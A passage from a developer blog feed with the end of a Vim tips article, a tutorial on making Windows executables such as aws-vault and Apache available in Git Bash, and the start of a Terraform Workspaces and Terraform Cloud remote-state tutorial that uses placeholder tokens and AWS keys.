&lt;p&gt;While on it's own &lt;code&gt;z&lt;/code&gt; has no effect (&lt;code&gt;:help z&lt;/code&gt;), it's in charge of a useful Vim feature called "folding", where the user can wrap text and fold into collapse &amp;amp; extendable blocks, &lt;a href="https://github.com/omerxx/vim-notebook/blob/master/README.md#folding" rel="noopener noreferrer"&gt;read about it some more in my Vim notebook&lt;/a&gt;.&lt;br&gt;
&lt;code&gt;ZZ&lt;/code&gt; is the quick way to save and exit - yes, your complicated and physically challenging &lt;code&gt;:wq!&lt;/code&gt; is way too much (on Vim and on your body).&lt;/p&gt;

&lt;p&gt;Additions suggested by &lt;a href="https://dev.to/caruso"&gt;Giuseppe Caruso&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;zz&lt;/code&gt; places the line in the middle of the buffer&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;zt&lt;/code&gt; cursor line at top of the window&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;zb&lt;/code&gt; cursor line at bottom of the window&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;And there it is! The list is complete.&lt;br&gt;
Not covered (but will be in a soon-to-be-published piece): all other symbols available in a keyboard, featuring the powerful &lt;code&gt;.&lt;/code&gt; command, the macros' &lt;code&gt;@@&lt;/code&gt;, the regex family of &lt;code&gt;$^...&lt;/code&gt;, the small but powerful &lt;code&gt;%&lt;/code&gt; and many &lt;strong&gt;many&lt;/strong&gt; more.&lt;/p&gt;

&lt;p&gt;How to use this list? After reading it, I suggest trying to go through the alphabet and memorizing the phonetic meaning of each one, maybe even turn them to flashcards! After understanding them, combining motions, and utilizing the least-key-strokes concept in Vim, becomes and an arsenal of tools rather than mental combat.&lt;/p&gt;




&lt;p&gt;Thank you for reading this far!&lt;br&gt;
My name is Omer, and I am an engineer at ProdOps — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the DevOps culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter @omergsr. Clap if you liked it, it helps me focus my future writings.&lt;/p&gt;

</description>
      <category>vim</category>
      <category>productivity</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>3rd-party binaries in Windows Git Bash</title>
      <dc:creator>Meir Gabay</dc:creator>
      <pubDate>Wed, 16 Oct 2019 07:46:40 +0000</pubDate>
      <link>https://forem.com/prodopsio/3rd-party-binaries-in-windows-git-bash-5ckj</link>
      <guid>https://forem.com/prodopsio/3rd-party-binaries-in-windows-git-bash-5ckj</guid>
      <description>&lt;h1&gt;
  
  
  The Claim
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;"Git for Windows provides a BASH emulation used to run Git from the command line.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*NIX users should feel right at home&lt;/strong&gt;, as the BASH emulation behaves just like the "git" command in LINUX and UNIX environments."&lt;br&gt;
&lt;a href="https://gitforwindows.org/"&gt;Git For Windows&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;"..&lt;strong&gt;Linux users should feel right at home&lt;/strong&gt;.." - Running &lt;code&gt;git&lt;/code&gt; commands is quite straight forward, but what about running 3rd-party Windows binaries, and make them available in Windows Git Bash?&lt;/p&gt;

&lt;p&gt;To make sure we're on the same page - when I refer to binary files, I mean Windows executable (*.exe) files.&lt;/p&gt;

&lt;p&gt;A possible solution to that is adding the binary file to PATH, but what if there's a simpler solution?&lt;/p&gt;

&lt;h1&gt;
  
  
  The Demand
&lt;/h1&gt;

&lt;p&gt;Sometimes I work from home on my Desktop machine which has Windows installed on it. &lt;br&gt;
I need the ability to run &lt;a href="https://github.com/99designs/aws-vault"&gt;aws-vault&lt;/a&gt; in &lt;a href="https://gitforwindows.org/"&gt;Git Bash&lt;/a&gt; terminal, while using &lt;a href="https://code.visualstudio.com/"&gt;Visual Studio Code&lt;/a&gt;.&lt;br&gt;
Since aws-vault doesn't come out-of-the-box with Git Bash, I am seeking for a simple solution.&lt;/p&gt;
&lt;h1&gt;
  
  
  The How
&lt;/h1&gt;

&lt;p&gt;I'm going to show you how we can supply the demand by presenting two examples. &lt;/p&gt;
&lt;h2&gt;
  
  
  1st Example: One Binary File
&lt;/h2&gt;

&lt;p&gt;And of course, let's take &lt;code&gt;aws-vault&lt;/code&gt; for this example, a binary file that doesn't have any dependencies on other data.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Download &lt;strong&gt;Windows&lt;/strong&gt; release of  the binary
In our case, &lt;a href="https://github.com/99designs/aws-vault/releases"&gt;aws-vault/releases&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Rename the binary file to a name that would make sense
In our case, &lt;code&gt;aws-vault-windows-386.exe&lt;/code&gt; to &lt;code&gt;aws-vault.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Copy the file you renamed to &lt;code&gt;C:\Program Files\Git\usr\bin\&lt;/code&gt;
 In our case, &lt;code&gt;aws-vault.exe&lt;/code&gt; to &lt;code&gt;C:\Program Files\Git\usr\bin\&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Open a new Git Bash terminal, and execute &lt;code&gt;aws-vault&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  What just happened?
&lt;/h3&gt;

&lt;p&gt;We've made the command &lt;code&gt;aws-vault&lt;/code&gt; available because we copied the file &lt;code&gt;aws-vault.exe&lt;/code&gt; to the &lt;code&gt;/usr/bin/&lt;/code&gt; folder. All binary files that reside in this folder are available in Windows Git Bash, from any &lt;em&gt;current working directory&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;And of course, you can do the same thing with &lt;a href="https://www.terraform.io"&gt;Terraform&lt;/a&gt;. Download &lt;a href="https://www.terraform.io/downloads.html"&gt;Terraform for Windows&lt;/a&gt; (I'm using 64bit). Extract &lt;code&gt;terraform.exe&lt;/code&gt; from Zip file and copy to &lt;code&gt;C:\Program Files\Git\usr\bin\&lt;/code&gt;. &lt;br&gt;
Voila! You can now use &lt;code&gt;terraform&lt;/code&gt; in Git Bash. &lt;br&gt;
As long as you run Terraform in Git Bash, there's no need to add anything to PATH, since we're using Git Bash &lt;code&gt;/usr/bin&lt;/code&gt; executables instead of using Windows's environment variables.&lt;/p&gt;
&lt;h2&gt;
  
  
  2nd Example: Library of binaries
&lt;/h2&gt;

&lt;p&gt;It's going to be a bit trickier, but once you truly understand how it works, you'll be able to implement this method with any library of binaries.&lt;/p&gt;

&lt;p&gt;Let's take &lt;code&gt;apache2&lt;/code&gt; for this example. First of all, we need to &lt;a href="https://www.google.com/search?q=apache%20windows"&gt;Google for Apache's Windows release&lt;/a&gt; Clicking the first search result got me here &lt;a href="https://httpd.apache.org/docs/current/platform/windows.html"&gt;Apache for Windows&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uiROztlT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.ibb.co/PTy1p5k/apache-windows-download.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uiROztlT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.ibb.co/PTy1p5k/apache-windows-download.png" alt="" width="530" height="308"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;! I chose to download &lt;a href="https://www.apachehaus.com/cgi-bin/download.plx"&gt;ApacheHaus&lt;/a&gt; 2.4.41 x64, no need to install Bitnami WAMP Stack or WampServer, we only need the binaries. Another alternative would be &lt;a href="https://www.apachelounge.com/download/"&gt;Apache Lounge&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And now for the recipe&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Extract zip file to a folder, give the folder a meaningful name&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In our case, &lt;code&gt;httpd-2.4.41-o102s-x64-vc14-r2.zip&lt;/code&gt; to &lt;code&gt;apache2&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copy the folder to &lt;code&gt;C:\Program Files\Git\usr\lib\&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In our case, &lt;code&gt;C:\Program Files\Git\usr\lib\apache2&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Ti_98BZp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.ibb.co/GnQJLLp/apache-lib-folder.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Ti_98BZp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.ibb.co/GnQJLLp/apache-lib-folder.png" alt="" width="640" height="254"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Apply required configuration (if necessary), and test the execution of the relevant binary file&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In our case, run Notepad/&lt;a href="https://notepad-plus-plus.org/downloads/"&gt;Notepad++&lt;/a&gt; in elevated mode (Run as Administrator)&lt;/li&gt;
&lt;li&gt;Edit the file &lt;code&gt;C:\Program Files\Git\usr\lib\apache2\conf\httpd.conf&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Replace &lt;code&gt;Define SRVROOT "/Apache24"&lt;/code&gt;
With &lt;code&gt;Define SRVROOT "C:\Program Files\Git\usr\lib\apache2"&lt;/code&gt;
If you wonder how I know that - &lt;a href="https://stackoverflow.com/a/49740137/5285732"&gt;Stackoverflow answer&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The file we need to execute is &lt;code&gt;C:\Program Files\Git\usr\lib\apache2\bin\httpd.exe&lt;/code&gt;
Execute in Git Bash (must be with elevated permissions):
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nv"&gt;$ &lt;/span&gt;/usr/lib/apache2/bin/httpd.exe
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;If all goes according to plan (fingers crossed), Windows Firewall will prompt to &lt;em&gt;Allow Access&lt;/em&gt;, and then the Apache server will start running. To verify that it works, open your browser and navigate to &lt;a href="http://localhost:80"&gt;localhost&lt;/a&gt;&lt;br&gt;
   To shutdown Apache server, click on the Git Bash window, hit ESC and then CTRL+C&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a script in &lt;code&gt;/usr/bin/&lt;/code&gt; that will execute the relevant binary file (sort of a shortcut)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In our case, execute in Git Bash:
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"/usr/lib/apache2/bin/httpd.exe"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; apache2
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Now each time that we execute &lt;code&gt;apache2&lt;/code&gt;, it will run &lt;code&gt;httpd.exe&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Execute the script to make sure everything works as expected&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In our case, execute in Git Bash
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  &lt;span class="nv"&gt;$ &lt;/span&gt;apache2
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Apache is up and running&lt;br&gt;
  To shutdown Apache server, click on the Git Bash window, hit ESC and then CTRL+C&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;
  
  
  Tips &amp;amp; Tricks
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://linux.die.net/man/1/ln"&gt;Symlinks&lt;/a&gt; doesn't work well in Git Bash, so avoid using them. Instead, use the methods described above&lt;/li&gt;
&lt;li&gt;Avoid using this method with binary folders that have multi-configuration steps. Instead, use &lt;a href="https://docs.microsoft.com/en-us/windows/wsl/install-win10"&gt;Windows Subsystem for Linux&lt;/a&gt; or run a Virtual Machine with Linux installed, for example &lt;a href="https://www.virtualbox.org/wiki/Linux_Downloads"&gt;Oracle VirtualBox for Linux Hosts&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a shortcut to Git Bash as an administrator; it's especially useful if you use Git Bash in Visual Studio Code. &lt;br&gt;
Here's how you can &lt;br&gt;
do it in 6 clicks&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mouse Button&lt;/th&gt;
&lt;th&gt;Color&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Right&lt;/td&gt;
&lt;td&gt;Yellow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Left&lt;/td&gt;
&lt;td&gt;Green&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--F8vQpaMv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.ibb.co/X5BJbxJ/vscode-as-administrator.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--F8vQpaMv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.ibb.co/X5BJbxJ/vscode-as-administrator.png" alt="" width="640" height="512"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To run Apache in the background (or any other process), add an ampersand (&amp;amp;) after the command&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;apache2 &amp;amp;
&lt;span class="o"&gt;[&lt;/span&gt;1] 2420 &lt;span class="c"&gt;# &amp;lt;-- process parent ID (PPID), don't kill that&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Shutdown apache2 process&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;ps  &lt;span class="c"&gt;# report a snapshot of the current processes&lt;/span&gt;
         PID    PPID    PGID     WINPID   TTY         UID    STIME COMMAND
20652       1   20652      20652  cons1     197609 18:59:21 /usr/bin/bash
 7496       1    7496       7496  cons0     197609 18:59:20 /usr/bin/bash
19852   20652   19852      19852  cons1     197609 19:05:46 /usr/bin/bash
 7132       1    7132       7132  ?         197609 18:56:36 /usr/bin/ssh-agent
 5816   20652    5816       8208  cons1     197609 19:05:49 /usr/bin/ps
11520   19852   19852      10000  cons1     197609 19:05:46 /usr/lib/apache2/bin/httpd
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;kill &lt;/span&gt;19852  &lt;span class="c"&gt;# &amp;lt;-- process id (PID)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;1]+  Terminated              apache2
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Now it really feels like home&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Did you like this tutorial? Clap/heart/unicorn and share it with your friends and colleagues.&lt;/p&gt;

</description>
      <category>bash</category>
      <category>git</category>
      <category>windows</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Terraform Workspaces and Remote State</title>
      <dc:creator>Meir Gabay</dc:creator>
      <pubDate>Sun, 06 Oct 2019 09:09:19 +0000</pubDate>
      <link>https://forem.com/prodopsio/terraform-workspaces-and-remote-state-3min</link>
      <guid>https://forem.com/prodopsio/terraform-workspaces-and-remote-state-3min</guid>
      <description>&lt;p&gt;As promised in my last article, &lt;a href="https://dev.to/prodopsio/terraform-aws-dynamic-subnets-2cgo"&gt;Terraform AWS - Dynamic Subnets&lt;/a&gt;, today you're going to learn how to manage &lt;a href="https://www.terraform.io/docs/state/workspaces.html" rel="noopener noreferrer"&gt;Workspaces&lt;/a&gt; in Terraform, which are simply used for segregating your developing environments (dev, qa, stage, prod) while sharing the same infrastructure between them. We will also take advantage of the free &lt;a href="https://app.terraform.io/session" rel="noopener noreferrer"&gt;Terraform Cloud&lt;/a&gt; service to store the state file (tfstate) remotely.&lt;/p&gt;

&lt;h1&gt;
  
  
  Objectives
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;Share the same infrastructure as code (IaC) in multiple environments (Workspaces)&lt;/li&gt;
&lt;li&gt;Store the &lt;a href="https://www.terraform.io/docs/state/index.html" rel="noopener noreferrer"&gt;tfstate file&lt;/a&gt; &lt;a href="https://www.terraform.io/docs/state/remote.html" rel="noopener noreferrer"&gt;remotely&lt;/a&gt; to allow colleagues to manage the infrastructure you're working on&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Knowledge and assumptions
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;You read my &lt;a href="https://dev.to/prodopsio/terraform-aws-dynamic-subnets-2cgo"&gt;Terraform AWS - Dynamic Subnets&lt;/a&gt; tutorial which covers most of the Terraform functions that I'll use in this tutorial&lt;/li&gt;
&lt;li&gt;You know how to use &lt;a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html" rel="noopener noreferrer"&gt;AWS named profiles&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Your infrastructure's repository is in &lt;strong&gt;one&lt;/strong&gt; of the following: GitHub, GitLab, or Bitbucket. The repository I'll be using is in &lt;a href="https://github.com/unfor19/tf-tutorial-workspaces" rel="noopener noreferrer"&gt;Github&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;I'll create a single S3 bucket resource. We will be able to create this resource in each environment just by switching Workspaces; we'll get to that&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Setup
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Create Workspaces
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Create a free account in  &lt;a href="https://app.terraform.io/signup/account" rel="noopener noreferrer"&gt;Terraform Cloud&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Create a new Organization; I've created &lt;em&gt;tutorials&lt;/em&gt; organization&lt;/li&gt;
&lt;li&gt;Create a new Workspace and connect it to the VCS provider. Select &lt;strong&gt;Only select repositories&lt;/strong&gt; and select the relevant repository, in my case, it's &lt;em&gt;tf-tutorial-workspaces&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Click the repository's name to continue&lt;/li&gt;
&lt;li&gt;Workspace name should be the name of the environment you're working on, in my case tf-tutorial-workspaces-&lt;strong&gt;development&lt;/strong&gt; &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2FK6mBoSz.png" alt="Create-a-new-Workspace"&gt;
&lt;/li&gt;
&lt;li&gt;(Optional) Configure Workspace Advanced Options - insert VCS branch if relevant. I'll be using the &lt;strong&gt;master&lt;/strong&gt; branch&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Create workspace&lt;/strong&gt;!&lt;/li&gt;
&lt;li&gt;Repeat steps 3 to 7, in my case: tf-tutorial-workspaces-&lt;strong&gt;qa&lt;/strong&gt;, tf-tutorial-workspaces-&lt;strong&gt;staging&lt;/strong&gt;, tf-tutorial-workspaces-&lt;strong&gt;production&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;For each Workspace that you've created, click Workspaces --&amp;gt; click Workspace name --&amp;gt; Settings --&amp;gt; General --&amp;gt; Execution Mode: &lt;strong&gt;Local&lt;/strong&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2FL9KkSk6.png" alt="Execution-Mode-Local"&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;: The default Execution Mode for each Workspace is Remote, which is the best practice for executing a Terraform plan. Unfortunately, there's a bug, and Remote execution mode fails to work with the variable &lt;code&gt;terraform.workspace&lt;/code&gt;.&lt;br&gt;
Make sure you set Execution Mode to Local until this bug is fixed, you can track it here, &lt;a href="https://github.com/hashicorp/terraform/issues/22802" rel="noopener noreferrer"&gt;issue 22802&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Workspaces page should look something like this:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2F8K6liuI.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2F8K6liuI.png" alt="Workspaces-page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now it's time to generate a token that will allow us to use the Workspaces we've created.&lt;/p&gt;
&lt;h2&gt;
  
  
  Terraform Cloud Tokens
&lt;/h2&gt;

&lt;p&gt;There are two types of tokens that we're going to use, the first one is &lt;strong&gt;Team Token&lt;/strong&gt;, which we will use in our automation processes and CI/CD pipeline.&lt;br&gt;
The second token is &lt;strong&gt;User Token&lt;/strong&gt;, and we will use it for planning/applying infrastructure manually, so it's usually good for planning and testing.&lt;br&gt;
In this tutorial, we'll create both tokens.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: In case you're concerned about Two-Factor-Authentication, it will be ignored when you use Tokens as an authentication method, so keep that in mind.&lt;/p&gt;
&lt;h3&gt;
  
  
  Team Token
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Create the file &lt;strong&gt;.terraformrc-team&lt;/strong&gt; in your project's directory, with Bash it's &lt;code&gt;touch /.terraformrc-team&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Generate a token in Terraform Cloud; click on Settings --&amp;gt; Teams --&amp;gt; Create an authentication token&lt;/li&gt;
&lt;li&gt;Edit the file &lt;strong&gt;/.terraformrc-team&lt;/strong&gt;, with Bash it's: &lt;code&gt;vim /.terraformrc-team&lt;/code&gt; then hit &lt;strong&gt;I&lt;/strong&gt; for INSERT mode
The file should look like this:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;credentials "app.terraform.io" {
   token = "Your.generated.team.token.xctOeIoLtmjydg.jCCpJ6GKjCCpJe"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;em&gt;Vim&lt;/em&gt;: To save the file in vim, hit &lt;em&gt;ESC&lt;/em&gt;, type: &lt;code&gt;:x&lt;/code&gt; and hit &lt;em&gt;ENTER&lt;/em&gt;. To make sure the file was correctly saved, execute &lt;code&gt;cat /.terraformrc&lt;/code&gt;, the output should look like the above example. Here's an excellent &lt;a href="https://github.com/omerxx/vim-notebook/blob/master/VIM_NOTEBOOK.md" rel="noopener noreferrer"&gt;vim-notebook&lt;/a&gt;. And if you're asking yourself why to use vim, then read &lt;a href="https://dev.to/omerxx/vim-from-foe-to-friend-in-9-minutes-2np0"&gt;Vim: from foe to friend in 9 minutes&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  User Token
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Create the file &lt;strong&gt;.terraformrc-user&lt;/strong&gt; in your project's directory, with Bash it's &lt;code&gt;touch /.terraformrc-user&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Generate a token in Terraform Cloud; click on your profile picture --&amp;gt; User Settings --&amp;gt; &lt;a href="https://app.terraform.io/app/settings/tokens" rel="noopener noreferrer"&gt;Tokens&lt;/a&gt; --&amp;gt; Generate token&lt;/li&gt;
&lt;li&gt;Edit the file &lt;strong&gt;/.terraformrc-user&lt;/strong&gt;, with Bash it's: &lt;code&gt;vim /.terraformrc-user&lt;/code&gt; then hit &lt;strong&gt;I&lt;/strong&gt; for INSERT mode
The file should look like this:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;credentials "app.terraform.io" {
   token = "Your.generated.user.token.xctOeIoLtmjydg.jCCpJ6GKjCCpJe"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Setting up AWS named profiles
&lt;/h2&gt;

&lt;p&gt;To be able to apply the changes, we'll create a named profile for each environment (Workspace).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: Terraform developers decided to use the word Workspace instead of Environment due to the overuse of this word, see &lt;a href="https://www.terraform.io/docs/state/workspaces.html" rel="noopener noreferrer"&gt;here&lt;/a&gt;. Right choice (not kidding).&lt;/p&gt;

&lt;p&gt;The credentials and config file should look like this:&lt;br&gt;
&lt;code&gt;~/.aws/credentials&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[tf-tutorial-workspaces-development]
aws_access_key_id = ACCESS_KEY_FOR_DEVELOPMENT
aws_secret_access_key = ZKBZ6_rsRFJx+bU2#=jY]w%u_e!Xrau?9fc!}:}c

[tf-tutorial-workspaces-qa]
aws_access_key_id = ACCESS_KEY_FOR_QA
aws_secret_access_key = K9N?Bjb:w&amp;gt;Uyw9w.k^,Ap2BK-7CbsZ^fY*J3t}vp

[tf-tutorial-workspaces-staging]
aws_access_key_id = ACCESS_KEY_FOR_STAGING
aws_secret_access_key = VpKHs2*Urp3BhE3j~MVC9@W&amp;amp;TpR.aQu?s.n.PrBP

[tf-tutorial-workspaces-production]
aws_access_key_id = ACCESS_KEY_FOR_PRODUCTION
aws_secret_access_key = Kk~Xo&amp;amp;Z&amp;gt;3QKi-M%Vq6]LRLNAwy&amp;gt;7R-q4=C2rGJ8x
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;~/.aws/config&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[profile tf-tutorial-workspaces-development]
output = json

[profile tf-tutorial-workspaces-qa]
output = json

[profile tf-tutorial-workspaces-staging]
output = json

[profile tf-tutorial-workspaces-prodcution]
output = json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Configuring the backend
&lt;/h2&gt;

&lt;p&gt;Now we need to configure our infrastructure to use &lt;a href="https://www.terraform.io/docs/backends/types/remote.html" rel="noopener noreferrer"&gt;Terraform's Remote backend&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Project structure:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
├── LICENSE
├── README.md
├── main.tf
└── variables.tf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  main.tf
&lt;/h3&gt;

&lt;p&gt;First, let's set up &lt;code&gt;main.tf&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;main.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;provider&lt;/span&gt; &lt;span class="s2"&gt;"aws"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"~&amp;gt; 2.28"&lt;/span&gt;
  &lt;span class="nx"&gt;profile&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;region&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

